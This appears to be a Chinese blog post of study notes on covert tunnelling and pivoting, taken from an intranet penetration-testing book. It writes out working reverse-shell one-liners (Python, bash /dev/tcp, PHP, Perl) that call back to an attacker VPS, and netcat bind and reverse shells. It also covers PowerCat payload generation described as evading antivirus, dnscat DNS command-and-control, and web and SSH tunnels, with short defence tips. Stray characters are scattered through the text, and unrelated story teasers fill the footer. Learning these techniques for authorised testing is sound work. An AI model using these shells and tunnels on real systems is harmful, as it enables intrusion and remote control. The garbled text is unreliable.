隱藏通信隧道技術(shù)——《內(nèi)網(wǎng)安全攻防.滲透測(cè)試實(shí)戰(zhàn)指南》學(xué)習(xí)筆記三

隱藏通信隧道技術(shù)

一、隱藏通信隧道基礎(chǔ)知識(shí)

1. 隱藏通信隧道概述

什么是隧道做葵?這里的隧道就是一種繞過端口屏蔽的通信方式稚虎。隱藏通信隧道技術(shù)常用于在訪問受限的網(wǎng)絡(luò)環(huán)境中追蹤數(shù)據(jù)流向和在非受信任的網(wǎng)絡(luò)中實(shí)現(xiàn)安全的數(shù)據(jù)傳輸。

常用的隧道技術(shù):

  • 網(wǎng)絡(luò)層:IPv6隧道窃诉、ICMP隧道豆胸、GRE隧道

  • 傳輸層:TCP隧道奥洼、UDP隧道、常規(guī)的端口轉(zhuǎn)發(fā)晚胡。

  • 應(yīng)用層:SSH隧道灵奖、DNS隧道、HTTP隧道搬泥、HTTPS隧道

2. 判斷內(nèi)網(wǎng)的連通性

判斷內(nèi)網(wǎng)的連通性是指判斷主機(jī)能否上外網(wǎng)等桑寨。常見的允許流量流出的端口有80、8080忿檩、443尉尾、53、110燥透、123等沙咏。

2.1 ICMP協(xié)議

  • ping:命令:ping <IP地址>

2.2 TCP協(xié)議

  • netcat:“瑞士軍刀”,簡(jiǎn)稱“nc”班套。通過使用TCP/UDP的網(wǎng)絡(luò)連接來讀寫數(shù)據(jù)肢藐。使用命令:nc -zv <IP 端口號(hào)>

2.3 HTTP協(xié)議

  • curl:curl是一個(gè)利用URL規(guī)則在命令行下工作的綜合文件傳輸工具。

  • 使用命令:curl < IP:端口號(hào) >

2.4 DNS協(xié)議

  • nslookup(windows)

  • dig(linux)

2.5 代理服務(wù)器

有時(shí)候企業(yè)辦公網(wǎng)利用代理服務(wù)器進(jìn)行上網(wǎng)吱韭,判斷方法:

  • 查看網(wǎng)絡(luò)連接

  • 查看主機(jī)名是否有”proxy“的主機(jī)

  • 查看IE的代理

二吆豹、網(wǎng)絡(luò)層隧道技術(shù)

1. IPv6隧道

IPv6隧道技術(shù)是指通過IPv4隧道傳送的IPv6數(shù)據(jù)報(bào)文的技術(shù)。為了使在IPv4網(wǎng)絡(luò)中傳遞IPv6報(bào)文,可以將IPv4作為載體痘煤,將IPv6報(bào)文整體封裝在IPv4數(shù)據(jù)報(bào)文中凑阶。

  • 攻擊方式:攻擊者通過惡意軟件來配置允許進(jìn)行IPv6通信的設(shè)備。支持IPv6的隧道工具:socat衷快、6tunnel宙橱、nt6tunnel等。

  • 防御措施:了解IPv6漏洞蘸拔,綜合其他協(xié)議师郑、設(shè)備來過濾IPv6通信。

2. ICMP隧道

攻擊者可以將TCP/UDP數(shù)據(jù)封裝在ICMP的ping包中调窍,從而穿越防火墻宝冕。常見的icmp隧道工具:icmpsh、PingTunnel陨晶、icmptunnel猬仁、powershell icmp等

  • icmpsh

    • git clone https://github.com/inquisb/icmpsh.git 下載icmp

    • apt-get install python-impacket 安裝python-impacket庫(kù)

    • sysctl -w net.ipv4.icmp_echo_ignore_all=1 關(guān)閉系統(tǒng)ICMP應(yīng)答(恢復(fù)則設(shè)置為0)

    • 輸入"./run.sh"并運(yùn)行后輸入目標(biāo)的IP地址帝璧。

    • icmpsh.exe -t 192.168.1.7 -d 500 -b 30 -s 128 目標(biāo)主機(jī)上運(yùn)行此條命令先誉,可在攻擊機(jī)192.168.1.7上看到反彈的shell結(jié)果。

  • PingTunnel(可以為隧道加密)

    • 在VPS與Web服務(wù)器上安裝編譯

      • tar xf PingTunnel-0.72.tar.gz

      • cd PingTunnel

      • make && make install

    • 遇到報(bào)錯(cuò)--解決

    • 運(yùn)行PingTunnel

      • 服務(wù)器(IP:192.168.1.4):ptunnel -x shuteer

      • VPS:ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.10 -dp 3389 -x shuteer

      • 參數(shù)說明:

        -x 指定 icmp 隧道連接驗(yàn)證密碼

        -lp 指定要監(jiān)聽的本地 tcp 端口

        -da 指定要轉(zhuǎn)發(fā)的機(jī)器的 ip 地址

        -dp 指定要轉(zhuǎn)發(fā)的機(jī)器的 tcp 端口

        -p 指定icmp隧道另一端機(jī)器的 ip 地址

3. 防御ICMP隧道攻擊的方法

  • 檢測(cè)同一來源的ICMP數(shù)據(jù)包的流量的烁,一個(gè)正常的icmp命令每秒最多發(fā)送2個(gè)數(shù)據(jù)包褐耳。

  • 注意那些payload大于64bit的icmp數(shù)據(jù)包。

  • 尋找響應(yīng)數(shù)據(jù)包中的payload與請(qǐng)求數(shù)據(jù)包中的payload不一致的ICMP數(shù)據(jù)包渴庆。

  • 檢查ICMP數(shù)據(jù)包的協(xié)議標(biāo)簽铃芦。例如:icmptunnel會(huì)在所有的icmp payload前面添加”TUNL“標(biāo)記來標(biāo)識(shí)隧道。

三襟雷、傳輸層隧道技術(shù)

1. lcx端口轉(zhuǎn)發(fā)

? lcx是一個(gè)基于Socket套接字實(shí)現(xiàn)的端口轉(zhuǎn)化工具刃滓,Windows版為lcx.exe,Linux版為portmap耸弄。Socket隧道必須具備兩端:一端為服務(wù)端咧虎,監(jiān)聽一個(gè)端口,等待客戶連接计呈;另一端為客戶端砰诵,通過傳入服務(wù)端的IP地址與端口,才能主動(dòng)與服務(wù)器連接捌显。

  • 內(nèi)網(wǎng)端口轉(zhuǎn)發(fā)

舉例:將目標(biāo)主機(jī)的3389端口的所有數(shù)據(jù)轉(zhuǎn)發(fā)到公網(wǎng)VPS的4444端口上茁彭。在目標(biāo)主機(jī)上執(zhí)行命令,命令如下:

lcx.exe -slave <公網(wǎng)IP地址> 4444 127.0.0.1 3389

將VPS上的4444端口上監(jiān)聽的所有數(shù)據(jù)轉(zhuǎn)發(fā)到5555端口上扶歪,命令如下:

lcx.exe -listen 4444 5555

然后在VPS上用mstsc登錄主機(jī)127.0.0.1的5555端口理肺,即可訪問目標(biāo)服務(wù)器的3389端口。

  • 本地端口轉(zhuǎn)發(fā)

如果目標(biāo)服務(wù)器由于防火墻的限制,部分端口如3389的數(shù)據(jù)無法通過防火墻妹萨,這時(shí)就可以將目標(biāo)服務(wù)器相應(yīng)端口的數(shù)據(jù)透?jìng)鞯椒阑饓υ试S的端口如53贪薪。在目標(biāo)主機(jī)上執(zhí)行如下命令即可。

lcx -tran 53 <目標(biāo)主機(jī)IP地址> 3389

2. netcat

netcat簡(jiǎn)稱nc眠副,作為安全界的瑞士軍刀画切,功能非常強(qiáng)大。

2.1 安裝

安裝的具體步驟見www.baidu.com

2.2 簡(jiǎn)單使用參數(shù)

-d 后臺(tái)模式

-e 程序重定向

-g <網(wǎng)關(guān)> 設(shè)置路由器躍程通信網(wǎng)關(guān)囱怕,最多可設(shè)置8個(gè)霍弹;

-G <指向器數(shù)目> 設(shè)置來源路由指向器,其數(shù)值為4的倍數(shù)娃弓;

-h 在線幫助典格;

-i <延遲秒數(shù)> 設(shè)置時(shí)間間隔,以便傳送信息及掃描通信端口台丛;

-l 使用監(jiān)聽模式耍缴,管控傳入的資料;

-n 直接使用IP地址挽霉,而不通過域名服務(wù)器防嗡;

-o <輸出文件> 指定文件名稱,把往來傳輸?shù)臄?shù)據(jù)以16進(jìn)制字碼傾倒成該文件保存侠坎;

-p <通信端口> 設(shè)置本地主機(jī)使用的通信端口蚁趁;

-r 隨機(jī)指定本地與遠(yuǎn)端主機(jī)的通信端口;

-s <來源位址> 設(shè)置本地主機(jī)送出數(shù)據(jù)包的IP地址实胸;

-u 使用UDP傳輸協(xié)議他嫡;

-v 詳細(xì)輸出;

-w <超時(shí)秒數(shù)> 設(shè)置等待連線的時(shí)間庐完;

-z 將輸入輸出關(guān)掉钢属,只在掃描通信端口時(shí)使用。

以上為netcat的參數(shù)信息门躯,需要實(shí)現(xiàn)具體功能時(shí)到上網(wǎng)查具體的命令即可淆党。

常用的具體功能有:

  • Banner抓取

  • 連接遠(yuǎn)程主機(jī)

  • 端口掃描

  • 端口監(jiān)聽

  • 文件傳輸

  • 簡(jiǎn)易聊天

  • ...

2.3 獲取Shell

? shell分兩種,一種為正向shell生音,一種為反向shell宁否。如果客戶端連接服務(wù)器,客戶端想得獲取服務(wù)器的shell缀遍,就稱為正向shell慕匠。如果客戶端連接服務(wù)器,服務(wù)器想要獲取客戶端的shell域醇,就稱為反向shell台谊。

  • 正向Shell獲取

目標(biāo)主機(jī)上(IP:192.168.1.11)監(jiān)聽4444端口:

nc -lvp 4444 -e /bin/sh                           //linux
nc -lvp 4444 -e C:\WINDOWS\system32\cmd.exe      //windows

注:-l 表示監(jiān)聽模式蓉媳,-v表示詳細(xì)輸出,-p 指定端口

VPS連接目標(biāo)主機(jī)的4444端口:

nc 192.168.1.11 4444
  • 反向Shell獲取

本地主機(jī)(VPS)監(jiān)聽9999端口:

nc -lvp 9999

在目標(biāo)主機(jī)上進(jìn)行連接:

nc 192.168.11.144 9999 -e /bin/sh        //linux  
nc 192.168.11.144 9999 -e C:\WINDOWS\system32\cmd.exe  //windows

2.4 在目標(biāo)主機(jī)中沒有nc時(shí)獲取反向Shell

2.4.1 python反向Shell
  • VPS上監(jiān)聽本地2222端口:
nc -lvp 2222
  • 在目標(biāo)主機(jī)上執(zhí)行命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
2.4.2 bash反向Shell
  • VPS上監(jiān)聽本地4444端口:
nc -lvp 4444
  • 在目標(biāo)主機(jī)上執(zhí)行命令:
bash -i >& /dev/tcp/192.168.1.4/4444 0>&1
2.4.3 PHP反向Shell
  • 在VPS上監(jiān)聽本地2222端口:
nc -lvp 2222
  • 在目標(biāo)主機(jī)上執(zhí)行下面命令:
php -r '$sock=fsockopen("192.168.1.4",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
3.4.4 perl反向Shell
  • 在VPS上監(jiān)聽本地4444端口
nc -lvp 4444
  • 如果目標(biāo)機(jī)上使用的是Perl語言锅铅,則我們可以使用Perl來建立反向Shell酪呻。目標(biāo)主機(jī)上執(zhí)行命令:
perl -e 'use Socket;$i=”192.168.1.4″;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};'

2.5 內(nèi)網(wǎng)代理

拓?fù)鋱D如下:

image.png

測(cè)試環(huán)境:攻擊者VPS(KALI);一個(gè)小型內(nèi)網(wǎng)盐须;三臺(tái)服務(wù)器玩荠。假設(shè)已經(jīng)取得Web服務(wù)器權(quán)限,kali不能訪問數(shù)據(jù)庫(kù)服務(wù)器linux贼邓,web服務(wù)器可以訪問數(shù)據(jù)庫(kù)服務(wù)器阶冈。

測(cè)試目標(biāo):獲取數(shù)據(jù)庫(kù)服務(wù)器的shell。步驟如下:

  • 首先要在VPS上監(jiān)聽3333端口
nc -lvp 3333
  • 數(shù)據(jù)庫(kù)服務(wù)器上允許命令:
nc -lvp 3333 -e /bin/sh
  • 最后在web服務(wù)器上執(zhí)行命令:
nc -v 192.168.1.4 3333 -c "nc -v 1.1.1.200 3333"

注:-e 表示程序重定向塑径,-c 執(zhí)行命令

3. PowerCat

PowerCat可以說是nc的PowerShell版本女坑,PowerCat可以通過執(zhí)行命令回到本地運(yùn)行,也可以使用遠(yuǎn)程權(quán)限運(yùn)行统舀。里面也加入了眾多好用的功能匆骗,如文件上傳,smb協(xié)議支持誉简,中繼模式碉就,生成payload,端口掃描等等描融。

3.1 下載PowerCat

具體下載安裝步驟百度即可铝噩。

3.2 測(cè)試環(huán)境

環(huán)境介紹:

Kali:192.168.227.129衡蚂;

Windows7:192.168.227.161窿克、192.168.130.150

Windows server 2008:192.168.130.100

image.png

3.3 通過nc正向連接PowerCat

  • Windows7執(zhí)行命令:
powercat -l -p 8080 -e cmd.exe -v
  • Kali上運(yùn)行:
nc 192.168.277.161 8080 -vv

注:-l 監(jiān)聽模式;-p 指定監(jiān)聽端口毛甲;-e 指定要啟動(dòng)進(jìn)程的名稱年叮;-v 顯示詳情

3.4 通過nc反向連接PowerCat

  • Kali上運(yùn)行:
netcat -l -p 8888 -vv
  • 在Windows7上運(yùn)行下面命令:
powercat -c 192.168.56.129 -p 8888 -v -e cmd.exe

注:在Windows下,-c 表示參數(shù)用戶提供想要連接的IP地址

3.5 通過PowerCat返回PowerShell

? 前面的操作都是可以與nc進(jìn)行交互的玻募,但是只损,如果想要返回Powershell,則無法與nc進(jìn)行交互七咧。下面介紹讓W(xué)indows7與Windows Server 2008建立正向連接跃惫。

  • 在Windows7下執(zhí)行命令:
powecat -l -p 8080 –v
  • 在Windows Server 2008下執(zhí)行命令:
powercat -c 192.168.130.150 -p 8080 -v –ep

注:-ep 參數(shù)用于返回PowerShell

3.6 通過PowerCat傳輸文件

  • Windows7下執(zhí)行命令:
powercat -l -p 8080 -of  c:\Users\ctfwin7\Desktop\flag.txt -v
  • Windows Server 2008下執(zhí)行命令:
powercat -c 192.168.130.150 -p 8080 -i c:\flag.txt -v

上述命令的解釋是:Windows Server 2008將文件c:\flag.txt通過端口8080傳輸給Windows7,Windows7將文件存放于c:\Users\ctfwin7\Desktop\下艾栋,

注:-i 輸入爆存;-of 輸出文件名

3.7 用PowerCat生成Payload(躲避殺軟)

  • Windows7下執(zhí)行:
powercat -l -p 8080 -e cmd -v -g >> shell.ps1   //想反彈shell
powercat -l -p 8080 -ep -v -g >> shell.ps1      //想反彈PowerShell
  • 將生成的shell.ps1拿到Windows server 2008下執(zhí)行:
./shell.ps1
  • 最后Windows7上執(zhí)行下面命令即可獲得反彈的shell
powercat -c 192.168.130.100 -p 8000 -v

PS:也可以使用-ge生成編碼后的腳本,然后直接使用powershell -e <編碼>進(jìn)行執(zhí)行蝗砾。

3.8 PowerCat DNS隧道

? PowerCat也是一套基于DNS通信先较,PowerCat的DNS的通信是基于dnscat設(shè)計(jì)的(其服務(wù)端就是dnscat)携冤。

  • 在kali下下載安裝dnscat(請(qǐng)百度)
  • kali下執(zhí)行:
ruby dns2.rb ms08067.test -e open --no-cache
  • Windows7下執(zhí)行以下命令后就可以在kali看到dnscat上反彈的Shell了。
powercat -c 192.168.227.129 -p 53 -dns ms08067.test -e cmd.exe

注:-dns 表示使用DNS通信闲勺。

3.9 將PowerCat作為跳板

將win7作為跳板曾棕,讓Kali連接winserver2008。

  • Windows server 2008下執(zhí)行:
Powercat -l -v -p 9999 -e cmd.exe
  • Windows 7下執(zhí)行:
Powercat -l -v -p 8000 -r tcp:192.168.130.100:9999
  • Kali下執(zhí)行:
nc 192.168.227.161 8000 –vv

最后菜循,kali和win7進(jìn)行連接翘地,且win7就可以將流量轉(zhuǎn)發(fā)給winserver2008了。

四癌幕、應(yīng)用層隧道技術(shù)

應(yīng)用層的隧道通信技術(shù)主要利用應(yīng)用軟件提供的端口發(fā)送數(shù)據(jù)子眶。常用的隧道協(xié)議有SSH、HTTPS/HTTPS與DNS序芦。

1. SSH隧道

1.1 SSH簡(jiǎn)介

  • SSH 端口轉(zhuǎn)發(fā)能夠提供兩大功能:

    1.加密 SSH Client 端至 SSH Server 端之間的通訊數(shù)據(jù)臭杰。

    2.突破防火墻的限制完成一些之前無法建立的 TCP 連接。

  • 用戶名密碼登錄原理

    1.遠(yuǎn)程主機(jī)收到用戶的登錄請(qǐng)求谚中,把自己的公鑰發(fā)給用戶

    2.用戶使用該公鑰渴杆,將登錄密碼加密后,發(fā)送給遠(yuǎn)程主機(jī)宪塔。

    3.遠(yuǎn)程主機(jī)用自己的私鑰磁奖,解密登錄密碼,如果密碼正確某筐,就用戶登錄比搭。

在學(xué)習(xí)SSH隧道之前,先復(fù)習(xí)下SSH的配置文件吧南誊。SSH的配置文件:/etc/ssh/sshd_config身诺,下面是一些安全加固的選項(xiàng)。

AllowTcpForwarding yes            #是否允許轉(zhuǎn)發(fā)TCP協(xié)議
GatewayPorts yes                  #是否允許遠(yuǎn)程主機(jī)連接本地轉(zhuǎn)發(fā)端口
PermitRootLogin yes               #是否允許root登錄
PasswordAuthentication yes        #是否允許使用基于密碼的認(rèn)證
TCPKeepAlive yes                  #保持心跳,防止 ssh 斷開

1.2 本地端口轉(zhuǎn)發(fā)

  • 測(cè)試環(huán)境:外部VPS可以訪問內(nèi)網(wǎng)Web服務(wù)器抄囚,但是不能訪問數(shù)據(jù)庫(kù)服務(wù)器霉赡;內(nèi)網(wǎng)Web服務(wù)器和數(shù)據(jù)庫(kù)服務(wù)器可以相互訪問。

  • 拓?fù)鋱D:

image.png
  • 滲透思路:以web服務(wù)器192.168.1.11為跳板幔托,將內(nèi)網(wǎng)數(shù)據(jù)庫(kù)服務(wù)器1.1.1.10的3389端口映射到VPS機(jī)器192.168.1.10的2121端口穴亏,再次訪問VPS的2121端口,就可以訪問1.1.1.10的3389端口了重挑。

  • 在VPS上執(zhí)行以下命令嗓化,會(huì)要求服務(wù)Web服務(wù)器(跳板機(jī))的密碼。

ssh –CfNg –L 2121(VPS端口):1.1.1.10(目標(biāo)主機(jī)IP):3389(目標(biāo)端口) root@192.168.1.11
  • 在VPS上訪問1153端口后谬哀,就可以發(fā)現(xiàn)已經(jīng)與數(shù)據(jù)庫(kù)服務(wù)器1.1.1.10的3389端口建立了連接刺覆。
rdesktop 127.0.0.1:1153
  • 一些參數(shù)解釋:

    • -C 壓縮傳輸,加快傳輸速度玻粪。

    • -f 將SSH轉(zhuǎn)入后臺(tái)執(zhí)行隅津,不占用當(dāng)前的shell诬垂。

    • -N 建立靜默連接(建立了連接,但是看不到具體會(huì)話)伦仍。

    • -g 允許遠(yuǎn)程主機(jī)連接到本地用于轉(zhuǎn)發(fā)的端口结窘。

    • -L 本地端口轉(zhuǎn)發(fā)。

    • -R 遠(yuǎn)程端口轉(zhuǎn)發(fā)充蓝。

    • -D 動(dòng)態(tài)轉(zhuǎn)發(fā)(socks代理)隧枫。

    • -P 指定SSH端口。

1.3 遠(yuǎn)程端口轉(zhuǎn)發(fā)

  • 測(cè)試環(huán)境:外部VPS不能訪問內(nèi)網(wǎng)Web服務(wù)器谓苟,但是Web服務(wù)器可以訪問外網(wǎng)VPS官脓,但是數(shù)據(jù)庫(kù)服務(wù)器與域控都不能訪問VPS。目標(biāo):通過外網(wǎng)VPS訪問數(shù)據(jù)庫(kù)服務(wù)器的3389端口涝焙。

  • 拓樸圖

image.png
  • 滲透思路:以web服務(wù)器192.168.1.11為跳板卑笨,將VPS的3307端口的流量轉(zhuǎn)發(fā)到1.1.1.10的3389端口,然后訪問VPS的3307端口仑撞,就可以訪問1.1.1.10的3307端口赤兴。

  • 在web服務(wù)器1.1.1.116上執(zhí)行如下命令:

ssh -CfNg -R 3307(VPS端口):1.1.1.10(目標(biāo)主機(jī)IP):3389(目標(biāo)端口) root@192.168.1.10
  • 在本地訪問VPS的端口3307,就可以發(fā)現(xiàn)已經(jīng)與數(shù)據(jù)庫(kù)服務(wù)器1.1.1.10的3389端口建立了連接隧哮。
rdesktop 127.0.0.1:3307

1.4 動(dòng)態(tài)轉(zhuǎn)發(fā)

動(dòng)態(tài)端口映射就是建立一個(gè)SSH加密的SOCKS 4/5代理通道桶良,任何支持SOCKS 4/5協(xié)議的程序都可以使用這個(gè)加密通道進(jìn)行代理訪問。

  • 拓樸圖
image.png
  • 在VPS上執(zhí)行下面命令后沮翔,再輸入Web服務(wù)器的密碼陨帆。
ssh -CfNg -D 7000 root@192.168.1.11
  • 在本地打開瀏覽器。設(shè)置網(wǎng)絡(luò)代理采蚀,設(shè)置SOCKS host為127.0.0.1疲牵,Port為7000。最后通過瀏覽器訪問內(nèi)網(wǎng)域控制器1.1.1.2搏存。

  • 本地主機(jī)查看SSH進(jìn)程正在監(jiān)聽7000端口:

netstat tunpl | grep ":7000"

1.5 防御SSH隧道攻擊的思路

SSH隧道之所以被利用瑰步,主要是因?yàn)橄到y(tǒng)的訪問控制措施還不夠,可以從以下幾點(diǎn)來防御SSH隧道攻擊璧眠。

  • 在系統(tǒng)中設(shè)置SSH遠(yuǎn)程訪問控制白名單,在ACL中限制只允許特定的IP地址才能連接SSH读虏,系統(tǒng)設(shè)置完全帶外管理等责静。

  • 內(nèi)網(wǎng)限制SSH遠(yuǎn)程登錄的地址與雙向訪問控制策略。

2. HTTP/HTTPS協(xié)議

2.1 簡(jiǎn)介

HTTP Service代理用于將所有的流量轉(zhuǎn)發(fā)到內(nèi)網(wǎng)盖桥,常見的代理工具有reGeorg灾螃、meterpreter、tunna等揩徊。

reGeory的特征非常明顯腰鬼。reGeory支持ASPX嵌赠、PHP、JSP等Web腳本熄赡。

2.2 攻擊步驟:

1.將腳本文件上傳至目標(biāo)服務(wù)器中姜挺,使用Kali 在本地訪問遠(yuǎn)程服務(wù)器上的腳本文件,返回后彼硫,利用reGeorySocksProxy.py腳本監(jiān)聽本地的端口炊豪,即可建立一個(gè)通信鏈路。

python reGeorySocksProxy.py -u http://遠(yuǎn)程服務(wù)器IP:8080/tunnel.jsp -p 9999(本地端口)

隧道正常工作后拧篮,可以在本地kali 機(jī)器上使用ProxyChains之類的工具词渤,訪問目標(biāo)內(nèi)網(wǎng)中的資源。

2.3 防御

嚴(yán)格監(jiān)控http隧道的情況串绩,及時(shí)發(fā)現(xiàn)問題缺虐。

3. DNS協(xié)議

3.1 DNS隧道簡(jiǎn)介

用戶管理僵尸網(wǎng)絡(luò)和進(jìn)行APT攻擊的服務(wù)器叫做C&C服務(wù)器(Command and Control Server,命令及控制服務(wù)器)礁凡。C&C節(jié)點(diǎn)分為兩中種志笼,一種是C&C服務(wù)端(攻擊者),另一種是C&C客戶端(被控制的計(jì)算機(jī))把篓。C&C通信是指植入C&C客戶端的木馬或者后門程序與C&C服務(wù)端上的遠(yuǎn)程控制程序之間的通信纫溃。

DNS隧道的工作原理很簡(jiǎn)單:在進(jìn)行DNS查詢時(shí),如果查詢的域名不在DNS服務(wù)器本機(jī)的緩存中韧掩,就會(huì)訪問互聯(lián)網(wǎng)進(jìn)行查詢紊浩,然后返回結(jié)果,如果互聯(lián)網(wǎng)上有一臺(tái)定制的服務(wù)器疗锐,那么依靠DNS協(xié)議就可以進(jìn)行數(shù)據(jù)包的交換坊谁,從DNS協(xié)議的角度來看,這樣的操作只是一次次地查詢某個(gè)特定的域名并且得到解析結(jié)果滑臊,但其本質(zhì)的問題是口芍,預(yù)期的返回結(jié)果應(yīng)該是一個(gè)IP地址,而事實(shí)上不是——返回的可以是任意字符串雇卷,包括加密的C&C指令鬓椭。簡(jiǎn)單地說,就是將其他協(xié)議封裝在DNS協(xié)議中進(jìn)行傳輸关划。

3.2 常用工具及攻擊過程

  • dnscat2

    • 在VPS上部署域名解析

    • 在VPS上安裝dnscat2服務(wù)端

    • 在目標(biāo)主機(jī)上安裝客戶端

    • 反彈shell

  • iodine

3.3 防御DNS隧道攻擊的方法

  • 禁止網(wǎng)絡(luò)中的任何人向外部服務(wù)器發(fā)送DNS請(qǐng)求小染,只允許與受信任的DNS服務(wù)器通信。

  • 將郵件服務(wù)器/網(wǎng)關(guān)列入白名單并阻止傳入和傳出的流量中的txt請(qǐng)求贮折。

  • 跟蹤用戶的DNS查詢次數(shù)裤翩。

  • 阻止ICMP。

五调榄、SOCKS代理

1. SOCKS代理簡(jiǎn)介

SOCKS是一種代理服務(wù)踊赠,可以將一端的系統(tǒng)連接到另一端呵扛。SOCKS支持多種協(xié)議,包括HTTP筐带、FTP等今穿。SOCKS分為 SOCKS4 與 SOCK5 兩種類型:SOCKS4 只支持TCP協(xié)議;SOCKS5 不僅支持TCP/UDP協(xié)議烫堤,還支持多種身份驗(yàn)證機(jī)制等荣赶,其標(biāo)準(zhǔn)端口號(hào)為1080。SOCKS能與目標(biāo)內(nèi)網(wǎng)計(jì)算機(jī)進(jìn)行通信鸽斟,避免多次端口轉(zhuǎn)發(fā)拔创。

SOCKS代理可以理解為增強(qiáng)版的lcx。它在服務(wù)端監(jiān)聽一個(gè)服務(wù)端口富蓄。當(dāng)有新的連接請(qǐng)求出現(xiàn)時(shí)剩燥,會(huì)先從SOCKS協(xié)議中解析目標(biāo)的URL的目標(biāo)端口,再執(zhí)行l(wèi)cx的具體功能立倍。

正向代理簡(jiǎn)單來說就是主動(dòng)通過代理去訪問目標(biāo)服務(wù)器灭红,反向代理是指目標(biāo)服務(wù)器通過代理來主動(dòng)連接。

2. 常用的SOCKS工具

  • EarthWorm(EW)

    • 正向代理

    • 反向代理

  • reGeory

  • sSocks

  • SocksCap64

  • Proxifier

  • ProxyChanis

六口注、壓縮數(shù)據(jù)

1. RAR

1.1 以rar格式壓縮/解壓

將E:\webs\目錄下的所有內(nèi)容打包為1.rar放入E:\webs\目錄下

rar.exe a -k -r -s -m3 E:\webs\1.rar E:\webs\

將E:\webs\1.rar解壓到當(dāng)前根目錄下

rar.exe e E:\webs\1.rar

注:參數(shù) e 表示解壓到當(dāng)前根目錄下变擒。 x 表示以絕對(duì)路徑解壓。

1.2 分卷壓縮/解壓

分卷壓縮E盤API目錄下的所有文件及文件夾寝志,設(shè)置每個(gè)分卷為20M

rar.exe a -m0 -r -v20m E:\test.rar E:\API

將E:\test.part01.rar解壓到E盤的x1目錄下

rar.exe x E:\test.part01.rar E:\x1

2. 7-Zip

七娇斑、文件上傳與下載

1. 利用FTP上傳

2. 利用VBS上傳

3. 利用Debug上傳

4. 利用Nishang上傳

Nishang是一個(gè)Powershell攻擊框架,它是PowerShell攻擊腳本和有效載荷的一個(gè)集合材部。Nishang被廣泛應(yīng)用于滲透測(cè)試的各個(gè)階段毫缆。

5. 利用bitsadmin下載

6. 利用Powershell下載

注:這里說聲抱歉。由于內(nèi)容太多乐导、不易手打苦丁,這里就只是介紹某些概念。一些具體操作可百度查找資料或購(gòu)買書籍《內(nèi)網(wǎng)安全攻防·滲透測(cè)試實(shí)戰(zhàn)指南》查閱物臂。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末旺拉,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子鹦聪,更是在濱河造成了極大的恐慌账阻,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,682評(píng)論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件泽本,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡姻僧,警方通過查閱死者的電腦和手機(jī)规丽,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,277評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門蒲牧,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人赌莺,你說我怎么就攤上這事冰抢。” “怎么了艘狭?”我有些...
    開封第一講書人閱讀 165,083評(píng)論 0 355
  • 文/不壞的土叔 我叫張陵挎扰,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我巢音,道長(zhǎng)遵倦,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,763評(píng)論 1 295
  • 正文 為了忘掉前任官撼,我火速辦了婚禮梧躺,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘傲绣。我一直安慰自己掠哥,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,785評(píng)論 6 392
  • 文/花漫 我一把揭開白布秃诵。 她就那樣靜靜地躺著续搀,像睡著了一般。 火紅的嫁衣襯著肌膚如雪菠净。 梳的紋絲不亂的頭發(fā)上禁舷,一...
    開封第一講書人閱讀 51,624評(píng)論 1 305
  • 那天,我揣著相機(jī)與錄音嗤练,去河邊找鬼榛了。 笑死,一個(gè)胖子當(dāng)著我的面吹牛煞抬,可吹牛的內(nèi)容都是我干的霜大。 我是一名探鬼主播,決...
    沈念sama閱讀 40,358評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼革答,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼战坤!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起残拐,我...
    開封第一講書人閱讀 39,261評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤途茫,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后溪食,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體囊卜,經(jīng)...
    沈念sama閱讀 45,722評(píng)論 1 315
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,900評(píng)論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了栅组。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片雀瓢。...
    茶點(diǎn)故事閱讀 40,030評(píng)論 1 350
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖玉掸,靈堂內(nèi)的尸體忽然破棺而出刃麸,到底是詐尸還是另有隱情,我是刑警寧澤司浪,帶...
    沈念sama閱讀 35,737評(píng)論 5 346
  • 正文 年R本政府宣布泊业,位于F島的核電站,受9級(jí)特大地震影響啊易,放射性物質(zhì)發(fā)生泄漏吁伺。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,360評(píng)論 3 330
  • 文/蒙蒙 一认罩、第九天 我趴在偏房一處隱蔽的房頂上張望箱蝠。 院中可真熱鬧,春花似錦垦垂、人聲如沸宦搬。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,941評(píng)論 0 22
